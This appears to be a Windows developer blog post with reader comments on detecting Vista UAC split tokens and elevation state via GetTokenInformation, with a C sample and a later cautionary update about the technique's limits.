talk HTTP through any compliant connection manager to allow XMPP access.</li> </ul> <br> The httpbind gateway (as we call it) is a servlet deployed in a webcontainer which provides HTTP access to clients. You can consider it as a protocol gateway between compliant HTTP clients and our pure XMPP server - thats right , the server \*does not\* know anything about http : everything is encapsulated and managed at the gateway itself.<br> <br> The default client that we ship is built on top of our IM client api which is hosted in netbeans under the <a href="">collab</a> project. The actual protocol is abstracted away at the api level and the client does not deal with XMPP (or whatever is the underlying protocol). The api implementation which provides this client side access to XMPP through HTTP is available opensource , give it a whirl ! (Any and every help will be provided by me - drop me a note here <img src="" class="smiley" alt=":-)" title=":-)" /> )<br> <br> What all does this allow for :<br> <br> <ul> <li>Obvious first case : use our client and our httpbind gateway and talk over http through http proxies (not persistent CONNECT , but POST requests <img src="" class="smiley" alt=":-)" title=":-)" /> )<br> </li> </ul> <ul> <li>Use a third party JEP 124 compliant client - either a AJAX client like JWChat , or more heavier cousins and talk via HTTP to httpbind enable XMPP access.<br> </li> </ul> <ul> <li>Use the api and develop your own client - like what the collab folks have done with the collab UI within netbeans : and how do you make this HTTP enabled ? Just change the session provider - thats it ! (I know it works 'cos that is all I did to support this in our client <img src="" class="smiley" alt=":-)" title=":-)" /> ) <br> </li> </ul> <ul> <li>Use constrained clients - like from a mobile phone , etc : talk http and still be 'online' (subcase of 2 actually) ... internally for demo's , we do have a J2ME midlet which does just this.</li> </ul> <br> Ofcourse , this was just one of the main feature additions to IFR release - the most notable among them being server pooling for high availability and enhanced security through starttls and sasl support (finally 1.0 compliant !) among many others.<br> <br> Next blog entry , I will try to give a rough idea about how to go about using this new code - some snippets are being promised <img src="" class="smiley" alt=":-)" title=":-)" /> You will see how simple it really is to dish out your own client , all the protocol heavylifting is already handled at the api level - so let loose your UI skills !<br><br><br><br>[Technorati Tag: <a href="">XMPP</a>]<br>[Technorati Tag: <a href="">Sun IM api</a>]<br>[Technorati Tag: <a href="">xmpp-im-client</a>] Extending Netbeans mridul 2006-03-01T19:53:03+00:00 2006-03-02T03:53:03+00:00 A friend of mine forwarded <a href="">this excellent preso</a> by <a href="">Roumen </a>, give it a whirl !<br> Sun IM details at Jabber.org mridul 2005-11-13T02:30:50+00:00 2005-11-13T10:30:50+00:00 Check out the server details page for <a href="">Sun Java System Instant Messaging</a> at jabber.org.<br> The feature score <a href="">here</a> will definitely be improved in coming releases <img src="" class="smiley" alt=":-)" title=":-)" /> | http://blogs.oracle.com/mridul/feed/entries/atom | CC-MAIN-2016-07 | refinedweb | 14,304 | 50.57 |
digitalmars.D.bugs - [Issue 12863] New: Crash in cast_.d on OSX 10.9 Issue ID: 12863 Summary: Crash in cast_.d on OSX 10.9 Product: D Version: D2 Hardware: x86_64 OS: Mac OS X Status: NEW Severity: minor Priority: P1 Component: DMD Assignee: nobody puremagic.com Reporter: tcdknutson gmail.com Tested on OSX 10.9, this will cause a segfault in dmd 2.065 in `cast_.d`, where there should be none (it should just return null) ``` interface Node {} interface WhereCondition {} interface Whereable {} class Where { Whereable left; // lhs this(Whereable left ) { this.left = left; } } class Select : Whereable { WhereCondition[] projection; this(WhereCondition[] projection...) { this.projection = projection; } Where where() { return new Where(this); } } class ATable { Where where() { return (new Select(null)).where(); } } void main() { auto users = new ATable(); auto where = users.where(); WhereCondition var = (cast(Select)where.left).projection[0]; auto var2 = cast(Node) var; } ``` Removing the last line (auto var2 = ...) will cause the crash not to happen, which makes me think the issue is arising when casting to `Node` from type WhereCondition. --
Jun 05 2014 | http://www.digitalmars.com/d/archives/digitalmars/D/bugs/Issue_12863_New_Crash_in_cast_.d_on_OSX_10.9_66316.html | CC-MAIN-2014-52 | refinedweb | 176 | 62.44 |
How to kill a script?
I have a script running in an infinite loop and I can't stop it short of closing Pythonista. On a PC I'd hit <CTL>C. Of course, that's not an option on an iPad. What's the routine? Thanks.
- KnightExcalibur
I asked a similar question a few days ago. If you are using scene, I quote pulbrich in his response:
- pulbrich posted 4 days ago
In the Game class you can include a
def stop(self):
...
method. It gets called automatically when a scene is stopped (by tapping the “x” button).
If this is a script that is running in the console, I imagine it would require a different approach. I'll leave that to the experienced guys:)
@KnightExcalibur Thanks, but I'm not using scene.
@mikael I can see the X at the top right, but when I tap on it nothing happens. Should have said that originally. I should add that I have the same problem in IDLE on my PC running the same script, so I assume it's a Python issue and not a Pythonista issue.
Don't create infinite loops.
The X in the console basically issues a KeyboardInterrupt. But if your loop uses try/except all, you won't be able to cancel it. Be sure to always only catch the exceptions specific to your code.
Don't create infinite loops.
Well, I need to repeatedly request input from the user. How else can I do that except something like while(True)? I also use try/except since the input should only be a number and the user may enter a letter or something else by mistake. The user can enter 4 to exit, and that function issues a sys.exit(), but that has no effect.
@Involute this script can be stopped by the x at top right
while True: try: t = int(input()) print(t) except KeyboardInterrupt: break except Exception as e: #print(e) print('input is not integer')
except Exception is also a little questionable -- you are probably getting a specific exception , catch that one.
while True is probably okay, just make sure there is a parh to exit the loop. | https://forum.omz-software.com/topic/5880/how-to-kill-a-script | CC-MAIN-2020-10 | refinedweb | 367 | 74.29 |
Twitter Search Client¶
This tutorial will cover using the urllib module with HTTP APIs (Twitter, in this case), using the json module to parse JSON API responses, and how to make your life easier by using wrapper libraries.
What’s an API?¶
Many websites offer what is called an API (“Application Programming Interface”) which lets developers like you integrate with their site and build applications on top of their functionality or data. Often, an API gives you ways to authenticate on behalf of a user so that you can perform actions on their data.
Twitter offers an API for both un-authenticated actions, like searching public tweets, and for authenticated actions, like posting and replying. There are hundreds (or thousands) of Twitter clients built by non-Twitter developers that use the API, and these clients often feature a different interface or specialized set of functionality than what Twitter.com offers. In this tutorial, we will use the Twitter API methods that don’t require authentication, for simplicity’s sake.
Developers interact with an API by using HTTP. It varies depending on the particular API, but basically, you make an HTTP request (usually GET or POST) to a specified URL, optionally attaching some data, and you parse the response.
For example, if you want to find the recent tweets for ‘pystar’ using the Twitter API, you can put this URL in your browser:
You should see the JSON response (don’t worry if it looks crazy, we’ll explain it soon).
If you wanted to instead find recent tweets for ‘python’, you could change the value of the ‘q’ parameter at the end of the URL:
The Twitter search API is an example of an “RPC” API. “RPC” stands for “Remote Procedure Call” and conceptually means that we’re calling a method on another server and passing in arguments. In this case, we’re calling the ‘search’ method on the Twitter server and our argument is the ‘q’ parameter.
How do we use APIs in Python?¶
Now, let’s try to get the same results that we got in the browser using Python.
Start a new python file twitter_search.py and copy this code:
import urllib url = '' print urllib.urlopen(url).read()
The urllib module gives us functionality to make HTTP requests, so we import it at the top. Then we store the URL in a variable, we use the urlopen method to hit up the URL and the read() method to read the response. For now, we’ll simply print it out to the screen to see if it worked.
Try it out by just running the script from the command line:
python twitter_search.py
If it worked, you should see the same thing you saw in the browser.
You can also try changing the search URL to see the results change.
Now, let’s talk about that crazy looking response...
What’s JSON?¶
As you’ve seen, the request to an HTTP API is often just the URL with some query parameters. The response from an API is data and that data can come in various formats, with the most popular being XML and JSON. Many HTTP APIs support multiple response formats, so that developers can choose the one they’re more comfortable parsing.
For example, the Twitter API lets you request “atom” format, which is XML:
Their default response is JSON, which is increasingly popular amongst developers, and is easier to parse in Python than XML. JSON stands for “JavaScript Object Notation” and is the native way of representing objects in JavaScript - so it will look familiar to those of you who know JS. Even if you don’t, however, JSON is a fairly intuitive format to understand. JSON is a hierarchy of key/value pairs, where each key is a string and each value is a string, number, boolean, or array.
Here’s a JSON describing a person’s information:
{"firstName": "John", "lastName": "Smith", "address": { "streetAddress": "21 2nd Street", "city": "New York", "state": "NY", "postalCode": 10021 }, "phoneNumbers": [ "212 732-1234", "646 123-4567" ] }
The names are string values, the address is another object with string values, and the phone numbers is an array of string values.
When we looked at the Twitter API response in the last section, the response was JSON (just a whole lot more of it). Some browsers don’t “pretty format” JSON, so it can be hard to look at in the browser when you’re a mere human. If you’re in Chrome, download the JSONView Chrome extension for pretty formatting:
Now, take another look at the search API response in the browser:
You should see something like this:
{ completed_in: 0.099 max_id: 111626724697063420 max_id_str: "111626724697063424" next_page: "?page=2&max_id=111626724697063424&q=python" page: 1 query: "python" refresh_url: "?since_id=111626724697063424&q=python" results: [ { created_at: "Thu, 08 Sep 2011 02:27:39 +0000" from_user: "akamrsjojo" from_user_id: 32455649 geo: null id: 111626724697063420 iso_language_code: "en" profile_image_url: "" text: "#Win Christian Louboutin Sueded Python Pump via @AddThis" }, ... ] }
How do we parse JSON in Python?¶
Now let’s parse some data from that response using Python.
In your Python file, add this to the top:
import json
The json module gives us functionality for parsing JSON into Python data structures.
Instead of printing what is read from the url, we’ll store it in response:
url = '' response = urllib.urlopen(url).read()
Then add these lines to the bottom:
data = json.loads(response) results = data['results'] print results[0]['text']
Here, we’re telling the json module to convert the string response, then we’re storing the results array and printing the text of the first result tweet.
Run the code - you should see the full results and the tweet at the bottom. If you want, remove the first print statement so you just see the tweet.
Now, let’s show all the tweets (and the usernames) using a for loop to iterate through the results array. Add these lines:
for result in results: print result['from_user'] + ': ' + result['text'] + '\n'
Run the code, and you should see a bunch of mildly entertaining tweets. Try adding the timestamp to the tweets to see if you understand the JSON response.
Let’s make the client!¶
Now that we are successfully showing Twitter API search results, let’s turn our script into a proper command-line client, so that you can search Twitter from your Terminal all day long!
First, let’s structure the code into functions to be a bit cleaner. Replace your code with this:
def search_twitter(query='python'): url = '' + query response = urllib.urlopen(url).read() data = json.loads(response) return data['results'] def print_tweets(tweets): for tweet in tweets: print tweet['from_user'] + ': ' + tweet['text'] + '\n' results = search_twitter() print_tweets(results)
We’ve made two functions - search_twitter takes one argument (falling back to ‘python’ if none is specified) and returns the array of results from Twitter, and print_tweets prints results to the screen, We could do this as one function, but it’s nice to separate functionality from presentation.
At the end, we just call these functions, passing the results from the first function as the argument to the second.
Try that out and make sure it works. Try sending in a different argument to the search_twitter function and see that it works.
Now, let’s make it so we can send in the query argument from the command line.
Add this import to the top:
import sys
The sys module gives us access to the passed in arguments.
Now replace the last two lines with this code:
if __name__ == "__main__": query = sys.argv[1] results = search_twitter(query) print_tweets(results)
That code passes in the first argument to the search_twitter function and prints the results.
Try running your script, but specifying different queries, like so:
python twitter_search.py love python twitter_search.py snakes
You may soon lose faith in the intelligence of humanity, but atleast you should now feel good about your own intelligence. :)
Using a wrapper library¶
You’re not the first developer to use the Twitter search API from Python - and it’s a bit silly for every developer to write their own functions for interacting with the API. Most developers use “wrapper libraries” or “client libraries” for interacting with HTTP APIs in their favorite language, and those libraries are either provided by the API provider themselves or by other developers. By using a wrapper library, you can focus on writing the unique part of your app and not fuss over the subtleties of an API.
Twitter maintains a list of developer-created libraries here - with 5 listed for Python alone: https:/dev.twitter.com/docs/twitter-libraries#python
Let’s try using the ‘Twython’ library, since that has a clever name:
The easiest way to install the library is using pip:
pip install twython
To use the library, first import the module at the top of your script:
from twython.twython import Twython
You can remove the import statements for urllib and json, since the Twython library will take care of the URL opening and JSON conversion for us.
Next, remove the search_twitter function and replace the main functionality with code that calls the search function from the Twython library instead:
query = sys.argv[1] tw = Twython() results = tw.searchTwitter(q=query) print_tweets(results['results'])
What now?¶
Great work! You now have a command line Twitter search client. Here are some ideas for ways you can extend this code to do more:
Add support for more search options:¶
So far, we’ve only been passing in one parameter to the Twitter search API, the q argument. As is common with HTTP APIs, the API lets you specify multiple parameters, and it documents them in their API reference:
For example, you can specify the lang argument to get tweets in a particular language, like “lang=es” for Spanish tweets:
Modify your client so you can specify options like this:
python search_twitter.py python --lang=es
You can use the argparse module if you’re using Python 2.7 or the argparse_ module if you’re using Python 2.6.
Add support for more Twitter API methods:¶
The Twitter API offers several other methods that can be accessed without user authentication, like getting all the tweets for a particular user and listing current trends. Their API reference here lists all the method:
Modify your client so you can call other methods, maybe like this:
python search_twitter.py --username=pamelafox python search_twitter.py --search=python
You can use the argparse module if you’re using Python 2.7 or the argparse_ module if you’re using Python 2.6. | http://pystar.github.io/pystar/badges/badge_twitter_client.html | CC-MAIN-2017-43 | refinedweb | 1,768 | 68.4 |
!
FILE *stdprn = fopen("LPT1", "wt");
fprintf(stdprn, "Printing Test\n\n");
Wenderson
Want to avoid the missteps to gaining all the benefits of the cloud? Learn more about the different assessment options from our Cloud Advisory team.
Cant get it to work in Turbo C++
will try it in C++ Builder later
I tested it here and it works just fine.
Be aware that some printers just start printing when you send a full page or a eject page sinal.
Wenderson
The FILE keyword generates errors
When I compile with the FILE *stdprn = fopen("LPT1","wt")
The first error generated is
Cannot Convert 'FILE *' to 'FILE * &[4]'
and then several others.
The DOS version already has stdprn defined as a global variable, just include stdio.h.
There's no need to open the file, because it's already opened, just do:
#include <stdio.h>
int main()
{
fprintf(stdprn, "Teste\n");
return 0;
}
I don't remember if the Windows version has a stdprn defined, if not, you must do "FILE *stdprn = fopen("LPT1", "wt");" before you start printing.
Wenderson
Maybe I'll just have to compile 2 versions. | https://www.experts-exchange.com/questions/20275455/Console-App-Printing-using-Borland-C-Builder-4-5.html | CC-MAIN-2017-51 | refinedweb | 188 | 68.91 |
A week or so ago I found I had a need to extract the SSL Certificates used to secure HTTP connections over the wire. I started down the path of SharpPcap & PacketDotNet (C# wrappers around WinPcap) and quickly realized that I'd have to do a lot of mucking around to get to the point where I could reliably and consistently extract SSL Certificates from the packet data I was receiving.
At this point I thought to myself: "What about WireShark? Isn't it open source?".
Special Note: Today Marks the 2 year anniversary of boredwookie.net!
References
- WinPcap [winpcap.org]
- SharpPcap/PcapDotNet [sourceforge.net]
- Wireshark Developer Page [wireshark.org]
- Wireshark Developer Guide [wireshark.org]
- Wireshark Developer README [anonsvn.wireshark.org]
- Wireshark page on SSL [wiki.wireshark.org]
- Wireshark SSL Filter Reference [wireshark.org]
- Conversation on Wireshark Development Mailing List [wireshark.org]
- Lua Scripting Slideshow/PDF from SharkFest [sharkest.wireshark.org]
- isomalloc.c(734) : error C2065: 'O_WRONLY' : undeclared identifier [social.msdn.microsoft.com]
- How to convert an integer to a string in GLib? [stackoverflow.com]
- Modified packet-ssl.c (from later on in the article) [boredwookie.net]
The Basics
My goal was to somehow automate Wireshark into dumping all the SSL Certificates it finds into a directory that I can use later. Before I could do this I had to learn a few things about how Wireshark worked. Wireshark is a big project so I focused on the few things that seemed most relevant to me:
- Get a Windows development environment setup
- Dissectors
- Taps / Listeners
Setup a Wireshark Developer Environment
I was surprised at how easy it was to get Wireshark up and building on my Windows 8 laptop. The Developers Guide covers everything you need to know in a step by step fashion.
The only problem I had was that I didn't install Python beforehand like the guide says to. I already had cygwin, Visual Studio 2010 and SVN / GIT installed. Because I didn't have Python installed I had some trouble getting the packet-ncp2222.c to appear (apparently it uses Python in the build process).
Look at Section 2.2 (Page 10) of the Developers Guide for the whole break-down.
Dissectors & Taps
After getting the Wireshark source code building on my box it was time to figure out how wireshark is structured. I knew from Section 6.1 (Page 55) of the Developers Guide that Dissectors were a key part of Wireshark. A Dissector is used to break-down a packet and extract information specific to a protocol. Out of the box I think there are over 1300 dissectors included with Wireshark.
Fortunately for me I found a robust and very functional SSL dissector included with Wireshark out of the box. I was hoping to interact with the dissector to extract Certificate information. That is where the concept of a Tap or Listener coms into play. A dissector can be coded to include a 'hook' that lets you extract information from it.
Pages 60 and 73 of the Wireshark Developers Guide cover how to create a basic dissector and Tap/Listener.
While focusing on Lua, this Sharkfest slideshow/PDF could be helpful in understanding Dissectors & Taps
Path 1: Lua scripting
When I heard that Wireshark was scriptable via Lua I was pretty excited. Picking up a scripting language should be simpler than rooting through the Wireshark C source code, right? Unfortunately for me I found the Lua support in Wireshark to be a little lacking. It might be a PEBCAK, but I just couldn't find enough documentation to get the Lua binding to successfully interact with the SSL Dissector and extract the certificate bytes.
One nice thing about working in Lua as compared to C is that there is a Lua execution console built right into the shipping builds of Wireshark (Found under Tools -> Lua -> Evaluate) that can be used to prototype Listeners or Dissectors without having to recompile the project.
I was able to get a simple Listener running that could tell me when an SSL Handshake occured. I'd like to share that source here for anyone that it might benefit:
-- This opens up a handy window in Wireshark so I can see -- the results of my Lua script window2 = TextWindow.new("SSL Window"); -- If I want to extract information I have to create a 'field' -- apparently "ssl.handshake.certificate" is a Label type -- and doesn't actually contain any cert data ssl_cert_Info = Field.new("ssl.handshake.certificate"); -- This is a significant line of code. It activates a -- 'listener' that fires the 'tap.packet' method when -- it detects what you tell it to listen for. Here I'm -- trying to listen for ssl handshake certificates tap = Listener.new (nil, "ssl.handshake.certificate"); -- I have to create this method or nothing would happen. -- It's in here that I learn information about the tapped -- packet and use it for something useful (or not in my case) function tap.packet (pinfo, buffer, userdata) -- Never figured out how to use the 'field' to -- extract any cert bytes. local cert = ssl_cert_Info(); -- Simple message indicating that we've found a cert (yay) window2:append( "Found a Cert " ); end
If you run the above source in the Wireshark 'Evaluate' window you may see this message:
Full Error Message Text: Lua: Error During execution of dialog callback: [string "window2 = TextWindow.new("SSL Window");..."]:2: Field_get: A Field extractor must be defined before Taps or Dissectors get called
I haven't figured out what causes the message yet. To work-around the problem close and re-open Wireshark. I kept getting this message intermittently, which is another reason why I chose to abandon the Lua route for Wireshark scripting.
When it works, here's what it looks like when running:
Path of success: Play in the source code!
Given that the Lua path was taking quite a bit of time and would end up being less functional than simply delving into the C source code, I decided to jump straight in and see what I could figure out.
After playing around for a little while I found that the packet-ssl.c file was what I was looking for. This file (Found under <wireshark_repo_path>\epan\dissectors) dissects SSL and TLS traffic. This took awhile as I had to trace the source code to see where the 'work' was being done. Unlike C# in Visual Studio, the C code that makes up Wireshark has no intellisense or Right-click "Find all references". I can see why I stick to C# for business logic! :)
For my purposes, I had to get some data from the static void dissect_ssl3_hnd_cert(tvbuff_t *tvb, proto_tree *tree, guint32 offset, packet_info *pinfo) method in packet-ssl.c. This is the code that handles the SSL/TLS handshake and exposes the certificate used during authentication. As a proof of concept I started altering this method directly. I can come back later and spin the code off into a plugin or another more specialized 'dissector' later on if need be.
After adding a couple of additional headers to this C source file to get it to support the appopriate flags for the ws_open command, I was able to alter the while loop where the certificates were processed to extract the certificates to the hard disk (My Additions are noted in the code comments.):
Additional headers to include (At least on Windows)
#include <io.h> /* Included for */ #include <Fcntl.h> /* File Flags */
/* iterate through each certificate */ while (certificate_list_length > 0) { /* get the length of the current certificate */ guint32 cert_length; cert_length = tvb_get_ntoh24(tvb, offset); certificate_list_length -= 3 + cert_length; proto_tree_add_item(subtree, hf_ssl_handshake_certificate_len, tvb, offset, 3, ENC_BIG_ENDIAN); offset += 3; /****addition: Save SSL Certificate ****/ iterationStr = g_strdup_printf("%i", iterationn); CertFileName = g_strconcat("c:\\InterceptedCertificates\\Cert", iterationStr, ".der", NULL); fp = ws_open(CertFileName, O_WRONLY|O_CREAT|O_TRUNC|O_BINARY, 0777); /**** End additions ****/ (void)dissect_x509af_Certificate(FALSE, tvb, offset, &asn1_ctx, subtree, hf_ssl_handshake_certificate); /**** Addition This grabs the Certificate's DER encoded bytes and saves it to a file */ ExtractedBytes = (guint8*)ep_tvb_memdup(tvb, offset, cert_length); /* ExtractedBytes is a guint* */ ws_write(fp, ExtractedBytes, cert_length); ws_close(fp); iterationn++; /**** end Addition ****/ offset += cert_length; }
This loop does most of the work for me (giving me the start byte position and length of cert in the buffer), so all I had to do was figure out how to write the cert bytes to disk It took me awhile to arrive at this source. I found that using simple C File operations would result in a binary file which is not recognizable as a certificate. This still puzzles me as I don't think the bytes are obfuscated or wrapped at this level of the code. I was able to validate that the cert bytes were 'different' by examining the PCAP capture in Wireshark and exporting the bytes directly from there.
Fortunately for me the solution was simple: use the same code that the Wireshark UI uses to export the certificate. This led me to ws_open, ws_write and ws_close. Those are all 'helper' methods that can be used to write bytes to the disk. I use the ep_tvb_memdup to narrow down what I want to write to the disk as I don't want any more or less than the certificate bytes.
For more information on Extracting Bytes from Wireshark in C Code, see Section 1.4.2 Extracting data from packets in the Developer's README. This can be very helpful, especially if you have taken the time to read through the Developers Guide PDF and are up to date on GTK Types.
Wrap up
Rolling your own custom wireshark can be fun and rewarding. While it took me some time to get my head back in to 'C mode', once I did I found that I could trace the code and code something to the point where the Wireshark Developers mailing list could help me figure things out. Thanks to all Wireshark Devs, it's a powerful and versatile tool for slicing and dicing network data at a low level! | https://boredwookie.net/blog/m/wireshark-custom-development-fun-and-profit | CC-MAIN-2017-09 | refinedweb | 1,659 | 62.07 |
User Account Control (UAC) on Windows Vista changes the paradigm of being an administrator on a Microsoft Windows operating system. Rather than wielding full administrative privileges all of the time, the token is "split" and there are two of them. If you run an application normally, it is given the token that has fewer privileges (a "standard user" token, if you will, although the Administrators group is still present and set to "deny only" so securable objects that an administrator is explicitly forbidden from accessing will still be denied to this user). If you create a process elevated, you are prompted to approve the elevation, after which the process is provided with an "unfiltered" token that grants this application full administrator credentials.
This is a huge win for security. However, it does break some of the paradigms that you may be used to using when developing applications. One example is checking to see if the user is an administrator explicitly. Most of the tools that help identify more LUA bugs (and these tools are becoming pretty indispensible now that pretty much everybody is running as a standard user the majority of the time) will flag this as a potential LUA bug. You see, this is something that can be done for good (you are checking to see if the user is an administrator to determine whether or not you want to offer them the option of launching another process elevated to provide additional functionality), and it is something that can be done for evil (you are checking to see if the user is an administrator, because it is easier just to fail than to fix the LUA bug). For now, let's assume that you are using this power for good.
If you happen to be using the handy shell32 API IsUserAnAdmin, you will find that it will return true if the process is elevated, and false if it is not. Note that the Boolean return value doesn't provide you with any information that will help you determine if the user CAN elevate - it just tells you if you already have. What can you do if you want to know if the user CAN elevate, whether or not they already have?
The GetTokenInformation API provides a new ability to return a TokenElevationType structure. As of Windows Vista RC1, I do not see this documented in the Windows SDK, but you can find it in the Windows header files (winbase.h and winnt.h). So, I whipped together a little sample that you can run from the command line to determine not only whether the current process is elevated, but also whether the user happens to be a member of the administrators group:
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hToken;
TOKEN_ELEVATION_TYPE elevationType;
DWORD dwSize;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
GetTokenInformation(hToken, TokenElevationType, &elevationType, sizeof(elevationType), &dwSize);
switch (elevationType) {
case TokenElevationTypeDefault:
wprintf(TEXT("nTokenElevationTypeDefault - User is not using a split token.n"));
break;
case TokenElevationTypeFull:
wprintf(TEXT("nTokenElevationTypeFull - User has a split token, and the process is running elevated.n"));
break;
case TokenElevationTypeLimited:
wprintf(TEXT("nTokenElevationTypeLimited - User has a split token, but the process is not running elevated.n"));
break;
}
if (hToken) {
CloseHandle(hToken);
}
}
As you can see, it's fairly straightforward. (I have elided error handling and return value checking for clarity.) If you are looking to use this information for good, I hope this helps. If you are looking to use this information for evil, I hope you don't find this post!
Update: Note that this technique detects if the token is split or not. In the vast majority of situations, this will determine whether the user is running as an administrator. However, there are other user types with advanced permissions which may generate a split token during an interactive login (for example, the Network Configuration Operators group). If you are using one of these advanced permission groups, this technique will determine the elevation type, and not the presence (or absence) of the administrator credentials.
Updated 03-March-2010
Apparently my previous update didn’t scare enough people away from this approach, so here goes: be very afraid of this approach. It will correctly tell you if you have a split token, but that doesn’t necessarily mean anything useful. For example, what happens if you disable UAC? You won’t have a split token. You’d get TokenElevationTypeDefault. What happens if you are logged in as the .Administrators account? Same thing. Neither one means you’re a standard user, which is a common mistake by misapplying the above logic for the “typical” case. What about if you happen to have one, and only one, super privilege, and you elevated to get that into your token? Then you’d have TokenElevationTypeFull – which is frequently interpreted as meaning you’re an admin.
The *right* thing to do is not care. If you think you need admin rights, then manifest your binary, and ask for them. Does the current user’s capabilities matter? If they have a second admin account, then why does it matter if their current one is a standard user?
And you certainly don’t want to go looking for the Administrators ACE in the token in order to authorize something. Because, you know, it has a flag that says “Deny Only” on it. If you go granting access, then that’s directly violating the “Deny Only” intent. Kind of like saying, “oh, I see you’re on the no gambling list – come on into the casino…”
In other words, despite the fact that I wrote this (back in my youth), unless you know precisely what it is doing, please don’t use this. Because it probably doesn’t do what you think it does.
Nice… I have to ask though, what is the scenario where you need to distinguish between an admin user that can elevate and a non-admin user that cannot?
At the end of the day, you need to know if the process is not elevated right now, so you can show shields where appropriate and take elevation actions behind those shield presses (i.e. even if they can’t elevate, the elevation action will result in the UAC dialog that by default requires entering the admin username and pwd). So I don’t see the scenario where I need to distinguish… but I am sure you’ll enlighten me 🙂 Cheers.
Daniel, if I understand the sample (and your question) right, nTokenElevationTypeLimited and nTokenElevationTypeFull define administrators that can elevate (or are elevated). A return value of TokenElevationTypeDefault should result in the UAC dialog to enter administrator credentials.
Some developers have expressed an interest in being able to offer an application update only if the user is able to obtain admin privileges. In a standard user enterprise, where the nearest administrator may be several floors or buildings away, prompting for elevation to install an application update isn’t that helpful.
It also may be useful when doing lower level work. For example, when you manifest an application for highestAvailable, internally we have to do a similar check. If you can become an admin, then we launch prompting for credentials. If you can’t, then we just launch as standard user.
Yes, there are a host of scenarios where using this knowledge can be harmful, but there are still some where it is useful.
Is there a nice managed code .NET API to to this very same thing?
There is not a managed code API to achieve this – this function is new in Windows Vista, so no wrapper from the 2.0 framework (which was released a while ago) is going to be aware of this API. So, the answer is to use p/invoke to access these functions.
Once a process knows that it CAN be elevated how does it really elevate itself and perform an Admin task. Can we expect a code-snippet/APIs for the same.
Lets say the process whats to spawn/launch a child with an elevated token.
Thanks,
Shashi.
You never elevate a process in place. What you would need to do is ShellExecute another process that is manifested as requireAdministrator, and package all of your administrator functionality into this exe.
I was tring to modify the hToken in your code by using AdjustTokenGroups() and enable the Admin Group such that the token can be used in a CreateProcessAsUser() and this created process be launched elevated.
Is this the right approach.
Thanks,
Shashi
No need to muck around adjusting token groups manually. In fact, this won’t get you a full admin token. We do more than just set the deny-only flag on the Administrator ACE. We also set the IL to medium instead of high, and we strip out a number of privileges.
If you are launching a particular admin process, just manifest that process to requireAdministrator. If you want to launch a particular exe elevated just that time, then call ShellExecuteEx and specify the verb as "runas."
I have a question about a similar issue. Is there a way to programmatically check if UAC is enabled/disabled? As a short term fix for an upcoming product release, I have been asked to check for UAC when running on Vista and to MessageBox() the user and exit the application if UAC is enabled. There doesn’t seem to be any documented method of checking and I thought maybe you could help.
Thanks in advance,
Dylan Bourque
dbourque-at-lewis-dot-com
Lewis Computer Services, Inc.
Does your application not work if UAC is enabled at all, or does it just not work if the user is not an administrator? TokenElevationTypeDefault && IsUserAnAdmin == True indicates that UAC is turned off, but I would think you’d be doing your users a disservice by requiring that they disable an important security feature of the OS to run your software. Would a check for IsUserAnAdmin be sufficient to overcome any issues at the moment? Or could you just manifest the exe to requireAdministrator until you eradicate all of the LUA Bugs? (Standard User Analyzer from ACT 5.0 can help with this.) I’d love to understand more about your scenario here.
Thanks for the reply. This is intended (according to or PM) to be a short term band-aid. We have a fair number of LUA issues that we won’t have time to address before our next release, which will be in March. Also, the application in question is slated for a major overhaul as part of our next release, so there isn’t really any incentive to put a lot of effort into the current codebase.
We have several new client installs lined up in the next several months, all of which will more than likely be buying new laptops with Vista pre-installed. For the short term, instead of updating the application to work correctly under UAC, our PM decided to require that they disable UAC if they are running under Vista.
I have been lobbying here to either ask the new clients to buy XP laptops and wait on Vista until our next release or to manifest the exe, but I’m too low on the totem pole to force the issue.
Thanks again for you help,
Dylan Bourque
dbourque-at-lewis-dot-com
Lewis Computer Services, Inc.
(Followed up offline.)
Programmatically determine if UAC is enabled
The moth says, This is a question I get often: "How can I determine if User Account Control is on or
Hi,
Thanks for a good article.
I have only one small task in my application that needs admin privilege.
Is it a must to compile that small piece of code into a separate exe and launch it with the required privilege? Can I elevate the process for just that one task and bring it back to standard user privilege? Is it possible?
You can either separate your functionality into a separate exe, or you can use an out-of-process COM component. For something very small, you may want to think about using COM. See:.
You can’t just elevate the same process for a little while. If we had an elevated token in the process, if even for a little while, any thread in the process could call DuplicateToken(Ex). It’s like giving your house key to a non-trusted party who happens to have the equipment to instantly make a copy of your key – once it’s in the process, the process is no longer locked down, and any code could potentially start using that token.
Is there a way to detect if the login/interactive user is different from the effective/elevated user of the current process? Another way of asking this is if I can tell if, upon starting an elevated process, did the HKCU registry key "switch" to represent a different user (it used to point to a normal user, but now points to an admin user for this process)?
Whether or not the login user is the "same user" as the elevated user, your function above seems to return TokenElevationTypeFull, but I need to differentiate those two cases that are both detected as TokenElevationTypeFull.
Morgan,
My first question is – why do you need to know this? If you are trying to write to HKCU, can you just do this from a non-elevated context, separating out the bits that require elevated rights into a separate component so you only execute the minimum amount of code necessary into an elevated process? Are there other reasons why you would need to know if the elevated user is different than the launching user?
One thing I caution strongly against is failing if you are a different user, because you don’t want to fail for somebody who elevates to a different identity, since this would break the scenario of somebody running the best practice of running full time as standard user, and keeping a separate admin account available for when elevation is required.
To address your question specifically, you could always use the WTS APIs to determine the interactive user. The WTSQuerySessionInformation API will let you query for WTSUserName and determine who the logged in user is for the session you specify (which you can query for using the WTS APIs as well).
Thanks for the code sample …. for those that cannot fathom why you would need to determine the current UAC state, we have a very simple reason — automated testing. We have a large testing infrastructure (hundreds of machines) that has an enormous number of tests (tens of thousands) which are run against the software as it’s modified and enhanced. We have parts of the software that legitimately require elevated permissions, but the vast majority of the product does not. So we need to set up some hosts with UAC on (to verify no one introduces something that would require admin privs), but have to keep some hosts with it on to test the parts of the software that need to do things at the higher level. Since the tests are automated, we don’t have means of clicking the button. We check the machine setups between test runs to make sure no settings have changed, and we need to know if UAC is on or off to assure our testing is being done correctly.
Jason – another idea might be to just change the UAC policy for your lab machines to silently elevate, rather than turning it off entirely. That way, you’re still running with UAC enabled as if the user were doing that, but getting elevated without requiring somebody to actually click on an approval dialog or provide creds. Just a thought.
cjacks — we are attempting to determine if we are doing something in our code that would require admin privelages (where we didn’t expect that it would). We are attempting to test our software in an environment that is as close to "out of the box" as possible — which means UAC on.
With the "silent elevation", is it possible to allow a test to fail as a result of the elevation? This would allow us to continue our testing routines and deal with the failure after the test run has completed. Right now when we hit the UAC prompt, testing is dead.
